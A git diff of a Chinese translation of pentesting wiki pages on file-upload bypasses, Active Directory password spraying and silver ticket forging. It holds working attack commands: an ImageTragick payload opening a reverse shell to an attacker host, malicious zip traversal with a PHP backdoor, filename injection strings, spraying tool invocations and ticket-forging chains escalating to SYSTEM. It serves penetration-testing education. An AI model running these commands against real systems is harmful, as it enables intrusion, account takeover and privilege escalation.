mechanisms。它利用多种 bug bounty 技巧来简化识别和利用漏洞的过程,确保对 web applications 进行全面评估。 +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助 Pentesters 和 Bug Hunters 测试文件上传机制。它利用各种 bug bounty 技术来简化识别和利用漏洞的过程,确保对 web applications 的彻底评估。 -### Corrupting upload indices with snprintf quirks (historical) +### 使用 snprintf 特性破坏上传索引(历史) -一些使用 `snprintf()` 或类似函数从单文件上传构建多文件数组的遗留 upload handlers,可能会被欺骗以伪造 `_FILES` 结构。由于 `snprintf()` 行为的不一致性和截断,精心构造的单次上传可能在服务器端表现为多个索引文件,从而混淆假定严格形状(例如当作多文件上传并进入不安全分支)的逻辑。虽然今天这种情况较为冷门,但这种“索引损坏”模式偶尔会在 CTFs 和较旧的代码库中再次出现。 +一些遗留的 upload handlers 使用 `snprintf()` 或类似函数从单文件上传构建多文件数组,这类处理器可以被欺骗从而伪造 `_FILES` 结构。由于 `snprintf()` 行为的不一致性和截断问题,精心构造的单次上传在服务器端可能看起来像多个带索引的文件,从而混淆假定严格结构的逻辑(例如,将其视为多文件上传并走上不安全的分支)。尽管如今较为小众,这种“index corruption”模式偶尔会在 CTF 和老旧代码库中复现。 -## From File upload to other vulnerabilities +## 从文件上传到其他漏洞 - 将 **filename** 设置为 `../../../tmp/lol.png` 并尝试实现 **path traversal** - 将 **filename** 设置为 `sleep(10)-- -.jpg`,你可能能够实现 **SQL injection** -- 将 **filename** 设置为 `` 以实现 **XSS** -- 将 **filename** 设置为 `; sleep 10;` 来测试一些 **command injection**(更多 [command injections tricks here](../command-injection.md)) +- 将 **filename** 设置为 `` 来触发 **XSS** +- 将 **filename** 设置为 `; sleep 10;` 来测试一些 command injection(更多 [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- 尝试来自 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 的不同 svg payloads +- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- 如果你可以**指示 web server 从一个 URL 抓取图片**,你可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被**保存在某个公开站点**,你也可以指向来自 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL 并**窃取每个访问者的信息**。 +- 如果你能够 **指示 web server 从 URL 抓取图片**,你可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被 **saved** 在某个 **public** 站点,你也可以指向 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL 并 **steal information of every visitor**。 - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- 特别构造的 PDFs 导致 XSS:以下页面展示了如何 **inject PDF data to obtain JS execution** (见链接)。如果你可以上传 PDFs,你可以按指示准备某些会执行任意 JS 的 PDF。 -- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 内容以检查服务器是否存在任何 **antivirus** -- 检查上传文件时是否存在任何 **大小限制** +- 专门制作的 PDFs 导致 XSS:该 [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md)。如果你可以上传 PDFs,你可以按照给定指示准备一些会执行任意 JS 的 PDF。 +- 上传 \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 的内容以检查服务器是否有任何 **antivirus** +- 上传文件时检查是否存在任何 **大小限制** -这里有一个通过上传可以实现的前 10 项(来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +下面是一个通过上传可以实现的前十列表(来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -216,36 +212,34 @@ https://github.com/portswigger/upload-scanner - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -参阅 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) 了解其他 filetypes。 +参见 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) 以获取其他文件类型的签名。 -## Zip/Tar File Automatically decompressed Upload +## Zip/Tar 文件自动解压上传 -如果你可以上传一个会在服务器内被解压的 ZIP,你可以做两件事: +如果你能上传一个将在服务器内部解压的 ZIP,你可以做两件事: ### Symlink -上传一个包含指向其他文件的 soft links 的链接,然后访问解压后的文件时,你将访问被链接的文件: +上传一个包含指向其他文件的软链接的压缩包,然后访问解压后的文件时,你将访问这些被链接的文件: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### 在不同文件夹中解压 +### 在不同文件夹解压 -在解压缩过程中意外在目录中创建文件是一个严重问题。尽管最初假定这种设置可以防止通过恶意文件上传触发操作系统级别的命令执行,但 ZIP 格式对层级压缩和目录遍历的支持可能被利用。攻击者可以通过操纵目标应用程序的解压缩功能来绕过限制并从安全的上传目录中逃逸。 +在解压缩过程中在目录中意外创建文件是一个严重的问题。尽管最初假设这种设置可以防止通过恶意文件上传进行的操作系统级别命令执行,但 ZIP 压缩格式对层级结构的支持以及目录遍历能力可能被滥用。攻击者可以利用这些特性通过操纵目标应用的解压功能来绕过限制并逃离受保护的上传目录。 -可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到用于构造此类文件的自动化利用工具。该工具可以按如下方式使用: +用于生成此类文件的自动化利用工具可在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 获得。该工具可按如下方式使用: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -此外,**symlink trick with evilarc** 也是一种可选方案。 +此外,**symlink trick with evilarc** 也是一个可行选项。如果目标是针对像 `/flag.txt` 这样的文件,应在你的系统中为该文件创建一个 symlink。这样可以确保 evilarc 在运行时不会遇到错误。 -如果目标是针对像 `/flag.txt` 这样的文件,则应在系统中创建指向该文件的 symlink。这样可以确保 evilarc 在运行时不会遇到错误。 - -下面是用于创建恶意 zip 文件的 Python 代码示例: +下面是用于创建恶意 zip 文件的 Python 示例代码: ```python #!/usr/bin/python import zipfile @@ -263,11 +257,11 @@ zip.close() create_zip() ``` -**滥用压缩进行 file spraying** +**Abusing compression for file spraying** -进一步细节 **请查看原文帖在**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +欲了解更多细节,**请查看原始帖子**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: 编写 PHP 代码以执行通过 `$_REQUEST` 变量传入的命令。 +1. **Creating a PHP Shell**: PHP 代码用于执行通过 `$_REQUEST` 传入的命令。 ```php ``` -2. **File Spraying and Compressed File Creation**: 创建多个文件并将这些文件打包为 zip 归档。 +2. **File Spraying and Compressed File Creation**: 创建多个文件并将它们打包为包含这些文件的 zip 归档。 ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: 使用 vi 或十六进制编辑器修改 zip 内的文件名,将 "xxA" 更改为 "../" 以实现目录遍历。 +3. **Modification with a Hex Editor or vi**: 使用 vi 或十六进制编辑器修改 zip 内文件名,将 "xxA" 更改为 "../" 以实现目录遍历。 ```bash :set modifiable @@ -294,38 +288,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -将此内容以图片扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)**(参考该 [exploit](https://www.exploit-db.com/exploits/39767)) +将该内容以图片扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)**(参见 [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## 在 PNG 中嵌入 PHP Shell +## Embedding PHP Shell on PNG -将 PHP shell 嵌入 PNG 文件的 IDAT 块,可以有效绕过某些图像处理操作。来自 PHP-GD 的 `imagecopyresized` 和 `imagecopyresampled` 函数在这方面尤其相关,因为它们通常用于调整图像大小和重采样。被嵌入的 PHP shell 不受这些操作影响的能力,对于某些用例是重要的优势。 +将 PHP shell 嵌入 PNG 文件的 IDAT chunk 中可以有效绕过某些图像处理操作。PHP-GD 的 `imagecopyresized` 和 `imagecopyresampled` 函数在这一情境中特别相关,因为它们通常分别用于调整图像大小和重新采样。嵌入的 PHP shell 在这些操作下仍保持不受影响,这在某些用例中具有显著优势。 -关于该技术的详细探讨(包括方法和潜在应用),见下文文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。 +关于该技术的详细探讨,包括其方法论和潜在应用,请参阅以下文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源对该过程及其影响提供了全面的理解。 More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot Files -Polyglot files 在网络安全中是独特的工具,像变色龙一样,能够同时以多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar),它既能作为 GIF 工作,也能作为 RAR 归档。此类文件不限于这一组合;像 GIF 与 JS 或 PPT 与 JS 的组合也都是可行的。 +Polyglot files 在网络安全中是一种独特工具,像变色龙一样可以同时以多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为 GIF,又可以作为 RAR 归档。此类文件并不限于这一组合;像 GIF 与 JS 或 PPT 与 JS 的组合也同样可行。 -polyglot 文件的核心用途在于其绕过基于类型筛查的安全措施的能力。许多应用通常只允许上传某些文件类型,例如 JPEG、GIF 或 DOC,以降低潜在危险格式(例如 JS、PHP 或 Phar 文件)带来的风险。然而,polyglot 通过同时符合多种文件格式的结构要求,可以悄然绕过这些限制。 +Polyglot files 的核心用途在于其绕过基于文件类型筛查的安全措施的能力。许多应用的常见做法是仅允许上传特定文件类型——例如 JPEG、GIF 或 DOC——以降低来自潜在危险格式(例如 JS、PHP 或 Phar 文件)的风险。然而,polyglot 通过符合多种文件格式的结构特征,可以悄然绕过这些限制。 -尽管适应性强,polyglot 也存在局限。例如,虽然一个 polyglot 可能同时具备 PHAR 文件(PHp ARchive)和 JPEG 的特性,但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统严格限制允许的扩展名,polyglot 的结构双重性可能不足以保证上传成功。 +尽管具备适应性,polyglots 仍然面临限制。例如,尽管一个 polyglot 可能同时具备 PHAR(PHp ARchive)和 JPEG 的特性,但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统在允许的扩展名方面相当严格,polyglot 的结构双重性可能不足以保证上传成功。 More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) ### Upload valid JSONs like if it was PDF -How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +如何通过伪装成 PDF 来上传有效的 JSON 文件以规避文件类型检测(技术来自 **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: 只要 `%PDF` 魔术字节位于前 1024 字节内就被视为有效(示例见文章) -- **`pdflib` library**: 在 JSON 的某个字段中加入伪造的 PDF 内容,使库认为这是一个 pdf(示例见文章) -- **`file` binary**: 它最多能读取文件的前 1048576 字节。只需创建一个比这更大的 JSON,使其无法将内容解析为 JSON,然后在 JSON 内放入真实 PDF 的起始部分,它就会认为这是 PDF +- **`mmmagic` library**: 只要 `%PDF` 魔术字节位于前 1024 字节内,它就被视为有效(示例见文章) +- **`pdflib` library**: 在 JSON 的某个字段内加入一个伪 PDF 格式,使该库认为这是一个 pdf(示例见文章) +- **`file` binary**: 它最多会读取文件的 1048576 字节。只需创建一个比这更大的 JSON,让它无法将内容解析为 JSON,然后在该 JSON 中放入真实 PDF 的初始部分,它就会认为这是一个 PDF ## References diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index 6cd06c68c..d3e2c816a 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -1,7 +1,7 @@ -# Kerberos 认证 +# Kerberos 身份验证 {{#include ../../banners/hacktricks-training.md}} -**查看这篇精彩文章:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**请查看这篇精彩文章:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 55517a656..2994a7326 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,15 @@ ## **Password Spraying** -一旦找到几个 **valid usernames**,就可以对每个发现的用户尝试最常见的 **common passwords**(请注意环境的密码策略)。\ -默认情况下,**minimum** **password** **length** 为 **7**。 +一旦你找到了几个**有效用户名**,你可以针对每个已发现的用户尝试**最常见的密码**(请注意环境的密码策略)。\ **默认** 情况下,**最小** **密码** **长度** 为 **7**。 -常见用户名列表也可能有用: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +常用用户名列表也可能很有用: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -注意,你 **could lockout some accounts if you try several wrong passwords**(默认超过 10 次)。 +注意,**如果你尝试了多个错误的密码,可能会锁定一些账户**(默认超过10次)。 ### 获取密码策略 -如果你有某些用户凭证或以域用户身份获得了 shell,你可以通过以下方式 **get the password policy with**: +如果你有某些用户凭据或以域用户身份获得了 shell,你可以**使用以下方式获取密码策略**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,7 +30,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### 从 Linux(或所有)进行利用 +### 从 Linux(或所有系统)进行利用 - 使用 **crackmapexec:** ```bash @@ -47,16 +46,16 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免被锁定):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免触发锁定):**_ ```bash spray.sh -smb ``` -- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 不推荐:有时不起作用 +- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 不推荐,有时不起作用 ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` -- 使用 `scanner/smb/smb_login` 模块的 **Metasploit**: +- 使用 **Metasploit** 的 `scanner/smb/smb_login` 模块: ![](<../../images/image (745).png>) @@ -69,7 +68,7 @@ done ``` #### 从 Windows -- 使用带有 brute module 的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本: +- 使用带有 brute 模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +76,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (默认可以从域生成用户,并且会从域获取密码策略并根据该策略限制尝试次数): +- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (它可以默认从域生成用户,并从域获取密码策略并根据该策略限制尝试次数): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,12 +84,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -### 识别并接管 "Password must change at next logon" 帐户 (SAMR) +### 识别并接管 "Password must change at next logon" Accounts (SAMR) -一种低噪声技术是尝试一个无害/空的密码并捕获返回 STATUS_PASSWORD_MUST_CHANGE 的帐户,该状态表示密码被强制过期,可以在不知道旧密码的情况下更改。 +一种低噪声的技术是对账户尝试 benign/empty password,并捕获返回 STATUS_PASSWORD_MUST_CHANGE 的账户,这表示密码被强制过期,可以在不知道旧密码的情况下直接更改。 Workflow: -- 枚举用户(通过 SAMR 进行 RID 暴力破解)以构建目标列表: +- 枚举用户 (RID brute via SAMR) 以构建目标列表: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +98,12 @@ Workflow: # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Spray 空密码,并在命中后继续尝试以捕获必须在下次登录时更改的账户: +- Spray an empty password,并在命中后继续尝试,以捕获那些必须在下次 logon 时更改的账户: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- 对于每个命中,通过 SAMR 使用 NetExec 的模块更改密码(当设置了 "must change" 时不需要旧密码): +- 对于每个命中,使用 NetExec’s 模块通过 SAMR 更改密码(当设置了 "must change" 时不需要旧密码): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -113,27 +112,27 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" # Validate and retrieve domain password policy with the new creds netexec smb -u -p "$NEWPASS" --pass-pol ``` -操作说明: -- 确保在执行基于 Kerberos 的操作之前,主机时钟与 DC 同步: `sudo ntpdate `. -- 在某些模块(例如 RDP/WinRM)中,带有 [+] 但没有 (Pwn3d!) 表示 creds 有效,但该账户缺少交互式登录权限。 +操作说明: +- 在进行基于 Kerberos 的操作之前,确保主机时钟与 DC 同步: `sudo ntpdate `。 +- 在某些模块(例如 RDP/WinRM)中,带有 [+] 但没有 (Pwn3d!) 表示 creds 有效,但该账户缺少 interactive logon rights。 -## Brute Force +## 暴力破解 ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying 相较于 SMB/NTLM/LDAP bind attempts 能减少噪音,并更符合 AD lockout policies。SpearSpray 结合 LDAP 驱动的定向、模式引擎 和 策略感知(域策略 + PSOs + badPwdCount buffer),以精确且安全地进行喷洒。它还可以在 Neo4j 中标记被攻陷的主体,以供 BloodHound 路径分析使用。 +基于 Kerberos pre-auth 的喷射比 SMB/NTLM/LDAP 绑定尝试产生更少噪音,并且更符合 AD 锁定策略。SpearSpray 结合 LDAP 驱动的定向、模式引擎和策略感知(域策略 + PSOs + badPwdCount 缓冲),以更精确和更安全的方式进行喷射。它还可以在 Neo4j 中标记被攻破的主体以供 BloodHound 路径分析。 关键要点: -- LDAP 用户发现,支持分页和 LDAPS,并可选地使用自定义 LDAP 过滤器。 -- 结合域锁定策略 + PSO 感知的过滤,保留可配置的尝试缓冲(阈值),避免锁定用户。 -- 使用快速 gssapi bindings 进行 Kerberos pre-auth 验证(在 DC 上生成 4768/4771 而非 4625)。 -- 基于模式的逐用户密码生成,使用诸如姓名和从每个用户的 pwdLastSet 派生的时间变量等变量。 -- 通过线程、jitter 和每秒最大请求数来控制吞吐。 -- 可选的 Neo4j 集成用于标记被攻破的用户以供 BloodHound 使用。 +- 使用分页和 LDAPS 支持的 LDAP 用户发现,可选地使用自定义 LDAP 过滤器。 +- 域锁定策略 + PSO 感知过滤,保留可配置的尝试缓冲(阈值)以避免锁定用户。 +- 使用快速 gssapi 绑定的 Kerberos pre-auth 验证(在 DCs 上生成 4768/4771,而不是 4625)。 +- 基于模式的逐用户密码生成,使用诸如姓名和从每个用户的 pwdLastSet 派生的时间变量。 +- 通过线程、抖动和每秒最大请求数来控制吞吐量。 +- 可选的 Neo4j 集成,用于标记被攻破的用户以供 BloodHound 使用。 -基本用法与发现: +基本用法和发现: ```bash # List available pattern variables spearspray -l @@ -161,11 +160,11 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Leave N attempts in reserve before lockout (default threshold: 2) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 ``` -Neo4j/BloodHound 富集: +Neo4j/BloodHound 丰富化: ```bash spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 ``` -模式系统概览 (patterns.txt): +模式系统概述 (patterns.txt): ```text # Example templates consuming per-user attributes and temporal context {name}{separator}{year}{suffix} @@ -174,29 +173,29 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local {samaccountname} {extra}{separator}{year}{suffix} ``` -可用变量包括: +Available variables include: - {name}, {samaccountname} -- 从每个用户的 pwdLastSet(或 whenCreated)获得的时间变量:{year}, {short_year}, {month_number}, {month_en}, {season_en} -- 组合辅助变量和组织令牌:{separator}, {suffix}, {extra} +- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Composition helpers and org token: {separator}, {suffix}, {extra} -操作注意事项: -- 优先使用 -dc 查询 PDC-emulator,以读取最权威的 badPwdCount 和与策略相关的信息。 -- badPwdCount 会在观察窗口之后的下一次尝试时被重置;使用阈值和时机以保持安全。 -- Kerberos 预认证尝试会在 DC 监测中以 4768/4771 的事件出现;使用 jitter 和 rate-limiting 来混入正常流量。 +Operational notes: +- 优先使用 -dc 查询 PDC-emulator 以读取最权威的 badPwdCount 和与策略相关的信息。 +- badPwdCount 的重置会在观察窗口之后的下一次尝试触发;使用阈值和时序来保持安全。 +- Kerberos pre-auth 尝试在 DC 监控中以 4768/4771 的形式出现;使用抖动和速率限制以便混入正常流量。 -> 提示:SpearSpray 的默认 LDAP 页面大小为 200;根据需要使用 -lps 调整。 +> 提示:SpearSpray 的默认 LDAP 页面大小为 200;根据需要用 -lps 调整。 ## Outlook Web Access -有多种工具可用于 p**assword spraying outlook**。 +有多个工具可用于 p**assword spraying outlook**。 - 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- 使用 [Ruler](https://github.com/sensepost/ruler)(可靠!) -- 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)(Powershell) -- 使用 [MailSniper](https://github.com/dafthack/MailSniper)(Powershell) +- 使用 [Ruler](https://github.com/sensepost/ruler) (可靠!) +- 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) +- 使用 [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -要使用这些工具,你需要一个用户列表以及一个密码或一小组要尝试的密码。 +要使用这些工具,您需要一个用户列表以及一个 password,或一小组 password 列表用于喷洒。 ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -215,7 +214,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) -## 参考 +## 参考资料 - [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) - [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index c52d055a7..9d66566b1 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,15 +6,16 @@ ## Silver ticket -The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable. +**Silver Ticket** 攻击利用 Active Directory (AD) 环境中的服务票据。该方法依赖于获取 service account(例如 computer account)的 **NTLM hash**,以伪造 Ticket Granting Service (TGS) ticket。使用这个伪造的票据,攻击者可以访问网络上的特定服务,**冒充任何用户**,通常以获取管理员权限为目标。需要强调的是,使用 **AES keys** 来伪造票据在安全性和隐蔽性上更好。 > [!WARNING] -> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. -> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. +> Silver Tickets 比 Golden Tickets 更难被检测到,因为它们只需要 **hash of the service account**,而不是 krbtgt account。 +> 然而,它们仅限于所针对的特定服务。此外,仅仅窃取某个用户的密码。 +> 此外,如果你攻破了具有 SPN 的 **account's password**,你可以使用该密码为该服务创建一个 Silver Ticket,**冒充任意用户**。 For ticket crafting, different tools are employed based on the operating system: -### On Linux +### 在 Linux 上 ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache @@ -37,11 +38,11 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -CIFS 服务被强调为访问受害者文件系统的常见目标,但像 HOST 和 RPCSS 这样的其他服务也可以被利用来执行任务和进行 WMI 查询。 +The CIFS 服务被强调为访问受害者文件系统的常见目标,但诸如 HOST 和 RPCSS 等其他服务也可以被利用来执行任务和 WMI 查询。 -### 示例:MSSQL 服务 (MSSQLSvc) + Potato to SYSTEM +### 示例:MSSQL 服务 (MSSQLSvc) + Potato 提权到 SYSTEM -如果你拥有某个 SQL 服务账号(例如 sqlsvc)的 NTLM hash(或 AES key),你可以为 MSSQL SPN 伪造一个 TGS,并向 SQL 服务冒充任意用户。从那里,启用 xp_cmdshell 以该 SQL 服务账号的身份执行命令。如果该令牌具有 SeImpersonatePrivilege,则可以链式使用 Potato 提权到 SYSTEM。 +如果你拥有 SQL 服务账户(例如 sqlsvc)的 NTLM hash(或 AES key),你可以为 MSSQL SPN 伪造一个 TGS,并冒充任意用户访问 SQL 服务。随后,启用 xp_cmdshell 以 SQL 服务账户身份执行命令。如果该 token 拥有 SeImpersonatePrivilege,则可以链式使用 Potato 提权到 SYSTEM。 ```bash # Forge a silver ticket for MSSQLSvc (RC4/NTLM example) python ticketer.py -nthash -domain-sid -domain \ @@ -52,14 +53,14 @@ export KRB5CCNAME=$PWD/administrator.ccache impacket-mssqlclient -k -no-pass /administrator@:1433 \ -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" ``` -- 如果获得的上下文具有 SeImpersonatePrivilege(对于服务账户通常为真),使用 Potato 变体来获取 SYSTEM: +- 如果结果上下文具有 SeImpersonatePrivilege(这对于 service accounts 通常为真),使用 Potato 变体以获取 SYSTEM: ```bash # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato PrintSpoofer.exe -c "cmd /c whoami" # or GodPotato -cmd "cmd /c whoami" ``` -关于滥用 MSSQL 和启用 xp_cmdshell 的更多细节: +关于滥用 MSSQL 并启用 xp_cmdshell 的更多细节: {{#ref}} abusing-ad-mssql.md @@ -73,50 +74,51 @@ Potato 技术概述: ## 可用服务 -| 服务类型 | Service Silver Tickets | +| 服务类型 | 服务 Silver Tickets | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

视操作系统而定:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

在某些情况下你可以只请求:WINRM

